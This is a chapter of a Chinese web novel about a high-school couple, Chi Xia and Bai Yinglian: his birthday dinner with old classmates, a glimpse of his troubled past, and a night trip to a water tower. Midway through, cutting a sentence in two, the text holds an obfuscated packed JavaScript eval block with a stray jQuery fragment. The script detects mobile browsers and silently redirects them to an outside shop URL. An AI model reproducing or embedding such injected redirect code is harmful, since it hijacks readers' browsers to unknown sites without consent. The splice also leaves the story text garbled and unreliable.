落日的余晖洒向窗台,放学铃声响起。
教室里学生渐渐走光,许念还在磨蹭,教室外她的朋友在催她。
许念看了一眼白应怜,“应怜,你要不要跟我们一起走……”
话还没说完,池夏晃晃悠悠走到白应怜身边,手插着兜,盯着她,许念把话又咽了回去,硬着头皮,“应怜,那我先走了。”说完朝她的朋友们跑去。
许念的身影消失在走廊,白应怜望着那处走神。
池夏冲她打响指,“老子还在这呢。”他不满,以为白应怜想抛下自己找她那个同桌。
白应怜将视线移了回来,低头收拾东西。
“一会儿带你去个地方。”池夏开口。
“去哪?”
池夏抱臂,催她,“一会儿你就知道了。”
宋济凡从后排走到池夏身边,“白姐,今天可是我们池哥生日。”他冲池夏颔首,一脸骄傲,像做了件了不得的助攻。
池夏白他一眼,嫌他多嘴,他不自然解释,“也没什么,就大家聚一起吃个饭。”
从前池夏生日,宋济凡他们就会叫一大帮兄弟,一起唱K吃饭,几人也不管花销,反正最后都是池夏刷卡。
今天是池夏十九岁生日,他想带着白应怜一起。
白应怜收拾书包的手停下,抬头,犹豫开口,“我没准备礼物。”
白应怜没参加过朋友的生日聚会,但也知道这种聚会要送礼物。
宋济凡摆手,“哎呀,没那么多讲究,我们也没送过礼物。”
池夏在一旁不在意的点头。
四人一起走到校门口,阿莱站在电动车旁,显然等了有一会儿,宋济凡大大咧咧的去揽阿莱的肩膀,“阿莱哥,今天我们带白应怜出去玩会儿,你要不要一起?”
这几日几人已经混熟,最初宋济凡问阿莱怎么称呼,白应怜说,其他人都称呼她哥“阿莱”宋济凡以为两人是一家人,理所当然的认为阿莱姓白,叫白莱。
‘白莱’这名咋这么绕口呢?宋济凡纳闷。
白应怜解释,“哥不姓白,姓吴。”
住在跃进里的人大部分都姓吴。
“吴莱,无赖?还不如姓白呢。”
白应怜听见宋济凡的回答,没说话。
白这个姓很好吗?
阿莱侧身躲在宋济凡的胳膊,问白应怜,“你要去?”他声音很轻,听不出情绪。
白应怜目光打量她哥,没什么表情,她迟疑点头。
阿莱没说什么,骑上电动车,头盔也没戴,冷眼看向池夏,“八点前给她送回去,到了给我打电话。”没等池夏回答,就骑着快散架的电动车朝相反的方向走了。
宋济凡特意压低声音,跟王皓耙耳朵,“阿莱哥是不是不喜欢池哥?”
王皓推开他脑袋。
何止不喜欢,想刀池夏的心估计都有了。
简直和老父亲看自家白菜被猪拱一个样。
往常池夏过生日会去大吃一顿,唱K,再捣两下台球,最后各回各家各找各妈。
今年不同往日,当池夏带着白应怜出现在包厢时,包厢里几人朝他们吹口哨。
“可以啊,池夏,真带小女朋友来了。”
说话的是个戴帽子的青年,看着跟池夏差不多大。
他身旁的人瞅着白应怜,笑着调侃,“鸡仔跟我们说你谈了个大学霸,一开始我们还不信呢,就你这智商咋可能嘛,今天一见……”他摇头,又问白应怜,“小姐姐,看上我们池夏哪里了?”
其余几人跟着笑。
池夏给白应怜拉开座椅,踹了一脚刚才打趣那人的椅子腿,笑骂,“去你的,不说话没人把你当哑巴。”
那人举手投降,“不敢不敢。”
几人是池夏初中的同学,看的出来关系不错。
白应怜安静的坐在一边,听着几人聊天,时不时讲些初中的事情,她听的认真。
“初中池夏虽然混,但当时迷妹真是一堆又一堆。”帽子男说。
饭菜被端了上来,白应怜低头吃饭,池夏倒了杯饮料推给她,白应怜自然接过。
几人一脸暧昧的看着这对小情侣,互相交换眼神。
池夏什么时候对人这样过?
初中那会池夏在学校,可谓是个名人。
倒不是他干了什么惊天动地的事,是因为他那张脸,那时候男生普遍还没发育,一米六几算正常,一米七算高个,池夏初二就蹿到了一米八,站在人群里,最先看到他的后脑勺,其次就是他那张脸。
眉骨高,鼻梁挺,下颚清晰,偏偏又长了双桃花眼,看人的时候懒洋洋,像没睡醒,但就是这种“没睡醒”,迷倒一片人。
那会儿小女生都喜欢这种带点颓废劲的坏男孩,宋济凡当时看池夏这股子懒散劲,东施效颦,照葫芦画瓢,结果被人说眯眯眼,像丧尸。
讲这事的人笑得直不起腰,宋济凡不服,开始碎碎念。
宋济凡初二下学期才跟池夏混熟。
一开始池夏是留级生,他只知道有这个人,但那会儿,整个年级都知道,女生课间趴在走廊栏杆上,说是晒太阳,眼睛对面教室里飘,小声讨论尖叫。
池夏时不时跟着应和几句,白应怜听他们讲话,讲到好笑的,几人笑作一团,她也扬唇跟着笑。
半晌,帽子男冲池夏喊,“池夏,你过生日,蛋糕还没切呢。”
池夏站起身,切了很大一块蛋糕,把盘子塞得满当当,递给白应怜。
几人发酸,争先恐后的往池夏脸上,抹蛋糕,包厢里一片狼藉,白应怜躲着吃蛋糕。
冰激凌蛋糕,白应怜没吃过,吃的认真,认真到忽视了身边被抹成雪人的池夏,等池夏洗干净脸回到包厢,白应怜还在吃那块蛋糕,他走过去,坐在她身边,抽了两张纸擦手,看她压根没把注意力放在自己身上,伸手掐住她的脸,“小没良心的,我都挨欺负了,你还在这安心吃蛋糕?”
白应怜有些不好意思,放下蛋糕。
池夏抢过她用过的勺子,吃她盘子里剩下的蛋糕,大概是觉得太甜,吃了两口就没再吃。
白应怜早就习惯池夏吃自己盘里的东西,见怪不怪。
蛋糕被他们糟蹋的差不多,池夏坐着,椅子歪着,腿伸的老长,整个人懒散的靠着椅背,他头发上还沾着一点奶油,白应怜看了两秒,伸手帮他擦掉,池夏没动,任由她的手在自己头发上拨来拨去,等她手收回去,池夏耳朵不自觉红起来。
王皓身旁的人看见这一幕压低声问他,“池夏一直这样?
王皓看了那人一眼,没说话,但眼神已经回答了,那人识趣闭嘴,端起杯子喝了口酒,心想,行吧,谈恋爱的人都这样。
说着说着帽子男忽然想起什么翻起手机,“我这还有池夏初中时候的照片呢,找给你们看看。”
帽子找到后几人传着看了个遍,手机传到她这,白应怜也好奇去看。
照片里,少年坐在最后一排靠窗的位置,靠在座椅上,低着头,不知在想什么,但看得出来他有些颓废,眼底瘀青很重,头发遮在眼前,与现在的傲气张扬不同,那时候的他眼底没什么光。
看见照片后,白应怜眼神略沉。
她扭头看向池夏,池夏坐在一旁,一副懒懒散散的模样,跟照片里判若两人。
白应怜心底浮起疑惑,他那时候发生了什么,为什么会留级。
池夏只是淡淡扫了一眼照片就又传了回去。
一顿饭接近尾声,有人提议去下一场,池夏看了眼时间,七点。他想起阿莱说的“八点前把她送回去。”拉起白应怜的胳膊,“我们就不去了。”
“别啊——”帽子男拖着长腔,“这才几点,嫂子还没跟我们一起唱过歌呢。”
白应怜没说话,这一顿饭,所有人都觉得她是池夏的女朋
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17852176|211821||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
友,池夏全程没纠正,她也就跟着装傻。
“就是就是。”旁边人跟着起哄,“池夏你什么时候这么扫兴过?”
池夏没理他们,视线落在白应怜身上,问她,“你想去吗?”
白应怜看着他,他表情认真,倒是不像在问,“你想不想唱歌”像在问一个重要的问题,她摇了摇头。
池夏直起身,冲那帮人抬了抬下巴,“她不去。”
包厢里唏嘘声一片,有人骂池夏重色轻友,有人说习惯了习惯了,有人说嫂子你管管他,这人无法无天了。
白应怜听着这些话,嘴角动了一下,没说话。
池夏拿起她的书包,把人从椅子上拉起来,他手自然的搭在她腰后,没碰到,姿势像在护着什么。
几人还在身后调侃,池夏带着白应怜快步走出包厢,身后还传来那帮人的笑声。
出了餐厅,夜风迎面扑来,带着冬日的凉,池夏松开了她。
两人站在门口等车,池夏垂眸滑动手机。
白应怜又想起那张照片,她淡淡开口,“池夏,你为什么会留级?”
听了她的话,池夏滑动屏幕的手一滞,随后将手机揣回兜里,“怎么突然问这个。”
看了那张照片后,池夏那副模样就在自己脑海里挥之不去,最初的她并不想和池夏产生关系,但最近的她却又忍不住想要靠近他,了解他。
白应怜没接话,就这样直直望着他。
池夏轻笑一声,“也没什么,当时受了点伤,在家休养了一段时间。”
“怎么?对我的事这么好奇?”池夏弯下腰去看她,笑的懒散。
他只说寥寥几句,想去转移话题。
“嗯。”
她凝神望着眼前的少年,仿佛透过他的眼睛看清他背后的孤独。
她说:“池夏,我想知道。”
池夏怔了很久,直起身,拿出手机。
“现在想回去吗?”池夏把手机给她看,“刚七点。”
白应怜摇头,八点前她不回去。
池夏看了她两秒,掏出手机打车,餐厅在市区,很快就有人接单,车到后,池夏把白应怜塞进车里,随后跟着上了车。
白应怜没问他去哪里,仿佛只要带走她的是池夏,那么无论去哪里,都不会危险。
她扭头望向窗外的夜景,市里的灯光很亮,也暖。
车里很安静,能听到暖气出风的声音,车外车流喇叭声。
池夏靠在椅背上,扭头去看白应怜,车窗外的光一盏一盏的过,落在她脸上,亮起来,又暗下去,又亮起来,她的侧脸在光里很安静,像冬天里被风吹了很久的花瓣。
白应怜察觉到他的视线,转过头来看他,池夏没躲,就那样静静看她,她的眼睛很黑,很深很沉。有时池夏觉得,她的眼睛里藏着一口井,他掉进去过很多次,但每次都不想爬出来。
“看什么?”白应怜问,池夏没动,“你。”
他刚喝了酒,不多,但他觉得此刻的自己有些醉。
窗外灯光从密变疏,从亮变暗,楼房矮下去,树多起来,白应怜视线停留在池夏闭上的双眼上,此刻的他和几个月前在烧烤店遇到的他一样。
脆弱,敏感,破碎。
约莫二十分钟后,两人下了车。
白应怜站在水塔底下,仰头看,锈迹从塔顶一路流下来。池夏打开手机的手电筒,推开红色的铁门。
灰尘味扑面而来,池夏扇了扇,白应怜跟在他身后,抬头看旋转的楼梯,通往塔顶。
池夏回头看她,半开玩笑,“怕不怕?”
白应怜摇头,池夏拉住白应怜的手,带着她往上走。
踏足这里的第一步,餐桌上快乐的池夏就消失了,刚才他的笑声还在耳边,但越来越远,白应怜跟着他,一级一级往上走,越往上,风越大,声音越小,等走到顶的时候,那些笑声被风吹散。